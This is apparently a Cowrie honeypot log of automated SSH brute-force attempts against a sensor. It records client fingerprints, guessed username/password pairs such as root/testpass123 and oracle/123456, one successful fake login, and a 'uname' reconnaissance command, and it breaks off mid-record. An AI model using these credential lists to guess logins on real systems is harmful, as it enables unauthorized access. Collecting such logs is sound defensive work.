{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:36.113622Z","src_ip":"45.156.87.204","session":"eaa1eb3ac406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:36.360566Z","src_ip":"45.156.87.204","session":"eaa1eb3ac406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:37.446987Z","src_ip":"45.156.87.204","session":"eaa1eb3ac406","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:39.167790Z","src_ip":"47.237.167.49","session":"8d23347cee86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:39.396890Z","src_ip":"47.237.167.49","session":"8d23347cee86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54194,"dst_ip":"159.203.135.109","dst_port":22,"session":"00733e38aace","protocol":"ssh","message":"New connection: 45.156.87.204:54194 (159.203.135.109:22) [session: 00733e38aace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:39.696617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:39.701629Z","src_ip":"45.156.87.204","session":"00733e38aace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:39.783932Z","src_ip":"45.156.87.204","session":"00733e38aace","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.039808Z","src_ip":"45.156.87.204","session":"00733e38aace","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.252991Z","src_ip":"45.156.87.204","session":"00733e38aace","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.257085Z","src_ip":"45.156.87.204","session":"00733e38aace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":53276,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e5d3d71a716","protocol":"ssh","message":"New connection: 103.27.238.116:53276 (10.17.0.5:22) [session: 0e5d3d71a716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.266564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.271964Z","src_ip":"103.27.238.116","session":"0e5d3d71a716","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.345942Z","src_ip":"45.156.87.204","session":"00733e38aace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.351927Z","src_ip":"45.156.87.204","session":"00733e38aace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:40.539514Z","src_ip":"103.27.238.116","session":"0e5d3d71a716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nadejda","message":"login attempt [root/nadejda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:41.342345Z","src_ip":"103.27.238.116","session":"0e5d3d71a716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:42.612258Z","src_ip":"103.27.238.116","session":"0e5d3d71a716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50250,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ab652a616c8","protocol":"ssh","message":"New connection: 45.156.87.204:50250 (159.203.135.109:22) [session: 8ab652a616c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:43.105760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:43.115131Z","src_ip":"45.156.87.204","session":"8ab652a616c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:43.197734Z","src_ip":"45.156.87.204","session":"8ab652a616c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:43.444741Z","src_ip":"45.156.87.204","session":"8ab652a616c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:44.616656Z","src_ip":"45.156.87.204","session":"8ab652a616c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.24357414245605,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:44.679450Z","src_ip":"152.42.224.71","session":"4f7c1e0fb746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50264,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d7c292f241a","protocol":"ssh","message":"New connection: 45.156.87.204:50264 (159.203.135.109:22) [session: 0d7c292f241a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:46.554463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:46.558890Z","src_ip":"45.156.87.204","session":"0d7c292f241a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:46.640220Z","src_ip":"45.156.87.204","session":"0d7c292f241a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:47.055016Z","src_ip":"45.156.87.204","session":"0d7c292f241a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:48.140392Z","src_ip":"45.156.87.204","session":"0d7c292f241a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00167393684387,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:48.849358Z","src_ip":"152.42.224.71","session":"eaa78e2457d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50278,"dst_ip":"159.203.135.109","dst_port":22,"session":"38a963897b83","protocol":"ssh","message":"New connection: 45.156.87.204:50278 (159.203.135.109:22) [session: 38a963897b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:50.103634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:50.109362Z","src_ip":"45.156.87.204","session":"38a963897b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:50.192068Z","src_ip":"45.156.87.204","session":"38a963897b83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:50.438504Z","src_ip":"45.156.87.204","session":"38a963897b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:51.523512Z","src_ip":"45.156.87.204","session":"38a963897b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60484,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7bdab03c290","protocol":"ssh","message":"New connection: 45.156.87.204:60484 (159.203.135.109:22) [session: e7bdab03c290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:53.512959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:53.517645Z","src_ip":"45.156.87.204","session":"e7bdab03c290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:53.601887Z","src_ip":"45.156.87.204","session":"e7bdab03c290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:53.859772Z","src_ip":"45.156.87.204","session":"e7bdab03c290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:54.948015Z","src_ip":"45.156.87.204","session":"e7bdab03c290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60492,"dst_ip":"159.203.135.109","dst_port":22,"session":"d70566857a92","protocol":"ssh","message":"New connection: 45.156.87.204:60492 (159.203.135.109:22) [session: d70566857a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:56.853346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:56.858377Z","src_ip":"45.156.87.204","session":"d70566857a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","e